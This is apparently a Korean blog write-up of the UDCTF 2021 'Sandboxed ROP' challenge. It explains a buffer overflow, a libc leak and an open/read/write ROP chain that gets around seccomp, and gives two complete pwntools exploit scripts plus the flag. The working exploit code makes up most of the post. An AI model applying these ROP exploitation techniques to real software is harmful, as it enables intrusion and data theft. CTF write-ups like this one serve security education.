Sechack

UDCTF(BlueHens CTF) 2021 - Sandboxed ROP 풀이 본문

CTF

UDCTF(BlueHens CTF) 2021 - Sandboxed ROP 풀이

Sechack 2021. 3. 23. 21:17
반응형

로되리안때문에 반나절을 날리다가 결국 플래그를 못얻은 문제이다. fd만 맞춰주면 되는건데... 흑...

 

 

main의 디스어셈 결과를 보니까 init_seccomp함수로 seccomp를 설정하고 pwn dis shit를 출력하고 rbp-0x10에 0x200만큼 입력받는다. BOF가 터지는것이다. 

 

 

seccomp-tools로 본 결과 open. read. write를 이용해서 플래그를 읽어와야 할것 같다. 먼저 puts의 got를 출력해서 libc를 leak한 다음 다시 main으로 가서 open, read, write call chain을 구성하면 될것이다. open함수는 fd를 3부터 할당하니까 /pwn/flag.txt를 읽으면 fd가 3이 될것이다. (그런줄 알았다... 로컬에서 그렇길래 굳건히 믿었다...)

문제 서버 환경이 20.04라길래 20.04환경에서 풀었다. leak된 주소 하위 3자리 비교해봤는데 같은 libc였다. (사실 아주 약간 다르지만 함수 심볼 오프셋은 같아서 상관없었다.) 처음에는 libc leak하고 libc내에서 pop rax랑 syscall가젯 찾아서 페이로드 작성했으나 그냥 libc에 있는 open, read, write를 호출하면 된다는걸 깨닫고 고쳤다.

 

from pwn import *

#context.log_level = 'debug'

r = process("./chal.out")
#r = remote("challenges.ctfd.io", 30018)
e = ELF("./chal.out")
libc = e.libc

read_plt = e.plt["read"]
read_got = e.got["read"]

puts_plt = e.plt["puts"]
puts_got = e.got["puts"]

pop_rdi = 0x4013a3
pop_rsi_r15 = 0x4013a1
pop_rdx = 0x4011de
pop_rbp = 0x4011bd

bss = e.bss()

payload = b"a"*0x10
payload += b"b"*0x8

payload += p64(pop_rdi)
payload += p64(puts_got)
payload += p64(puts_plt)

payload += p64(pop_rdi)
payload += p64(0)
payload += p64(pop_rsi_r15)
payload += p64(bss)
payload += p64(0)
payload += p64(pop_rdx)
payload += p64(15)
payload += p64(read_plt)
payload += p64(pop_rbp)
payload += p64(bss+0x100)

payload += p64(0x40131f)

r.recvline()
r.send(payload)

leak = u64(r.recvuntil("\x7f")[-6:]+b"\x00"*2)
libc_base = leak - libc.sym["puts"]

push_rax = libc_base + 0x45197
pop_rax = libc_base + 0x4a550
syscall_p1 = libc_base + 0x19ba46

sleep(0.5)
r.send(b"/pwn/flag.txt\x00")

syspay = b"a"*0x18
syspay += p64(pop_rdi)
syspay += p64(bss)
syspay += p64(pop_rsi_r15)
syspay += p64(0)*2
syspay += p64(libc_base + libc.sym["open"])

syspay += p64(pop_rdi)
syspay += p64(3)
syspay += p64(pop_rsi_r15)
syspay += p64(bss)
syspay += p64(0)
syspay += p64(pop_rdx)
syspay += p64(0xff)
syspay += p64(libc_base + libc.sym["read"])

syspay += p64(pop_rdi)
syspay += p64(1)
syspay += p64(pop_rsi_r15)
syspay += p64(bss)
syspay += p64(0)
syspay += p64(pop_rdx)
syspay += p64(0xff)
syspay += p64(libc_base + libc.sym["write"])

sleep(0.5)
r.send(syspay)

r.interactive()

 

이렇게 페이로드 작성하였다.

 

 

실제로 로컬에서 플래그를 읽어왔다. 근데 서버에 익스플로잇하면 못읽어오는것이다. CTF서버에 질문해보니까 저뿐만 아니라 많은사람들이 로컬 익스는 짰지만 서버에서 안되서 좌절하고있다. 로컬과 서버는 익스플로잇이 약간 다르다. 뭐 이러한 답변만 돌아왔다. 결국 해답은 못얻은채 대회가 끝났다. 대회를 끝나고 보니까 fd가 5라는 것이다... 하아...

 

 

그래서 실제로 fd를 5로 바꿔주니까 셸이 따인다. 사실 fd때문일거라는 짐작은 했었다. 그래서 mov rdi, rax가젯을 찾아봤는데 바이너리, libc 둘다 뒤져봐도 마땅한게 안나오고 open함수는 파일 디스크립터를 3부터 순차적으로 할당한다길래 당연히 3일줄 알았다. 이럴줄 알았으면 fd 브포라도 해보는건데... 반나절을 바쳐서 삽질한게 이렇게 허무한거였다니... ㅋㅋ 그렇게 어렵진 않은데 솔버수가 14명이어서 좀 의문이었는데 아마도 로되리안 때문이었을것같다.

 

from pwn import *

#context.log_level = 'debug'

#p = process("./chal.out")
r = remote("challenges.ctfd.io", 30018)
e = ELF("./chal.out")
libc = e.libc

read_plt = e.plt["read"]
read_got = e.got["read"]

puts_plt = e.plt["puts"]
puts_got = e.got["puts"]

pop_rdi = 0x4013a3
pop_rsi_r15 = 0x4013a1
pop_rdx = 0x4011de
pop_rbp = 0x4011bd

bss = e.bss()

payload = b"a"*0x10
payload += b"b"*0x8

payload += p64(pop_rdi)
payload += p64(puts_got)
payload += p64(puts_plt)

payload += p64(pop_rdi)
payload += p64(0)
payload += p64(pop_rsi_r15)
payload += p64(bss)
payload += p64(0)
payload += p64(pop_rdx)
payload += p64(15)
payload += p64(read_plt)
payload += p64(pop_rbp)
payload += p64(bss+0x100)

payload += p64(0x40131f)

r.recvline()
r.send(payload)

leak = u64(r.recvuntil("\x7f")[-6:]+b"\x00"*2)
libc_base = leak - libc.sym["puts"]

push_rax = libc_base + 0x45197
pop_rax = libc_base + 0x4a550
syscall_p1 = libc_base + 0x19ba46

sleep(0.5)
r.send(b"/pwn/flag.txt\x00")

syspay = b"a"*0x18
syspay += p64(pop_rdi)
syspay += p64(bss)
syspay += p64(pop_rsi_r15)
syspay += p64(0)*2
syspay += p64(libc_base + libc.sym["open"])

syspay += p64(pop_rdi)
syspay += p64(5)
syspay += p64(pop_rsi_r15)
syspay += p64(bss)
syspay += p64(0)
syspay += p64(pop_rdx)
syspay += p64(0xff)
syspay += p64(libc_base + libc.sym["read"])

syspay += p64(pop_rdi)
syspay += p64(1)
syspay += p64(pop_rsi_r15)
syspay += p64(bss)
syspay += p64(0)
syspay += p64(pop_rdx)
syspay += p64(0xff)
syspay += p64(libc_base + libc.sym["write"])

sleep(0.5)
r.send(syspay)

r.interactive()

 

서버에서 먹히는 익스플로잇이다.

 

UDCTF{R0PEN_RE@D_WR!T3_right??}

반응형
Comments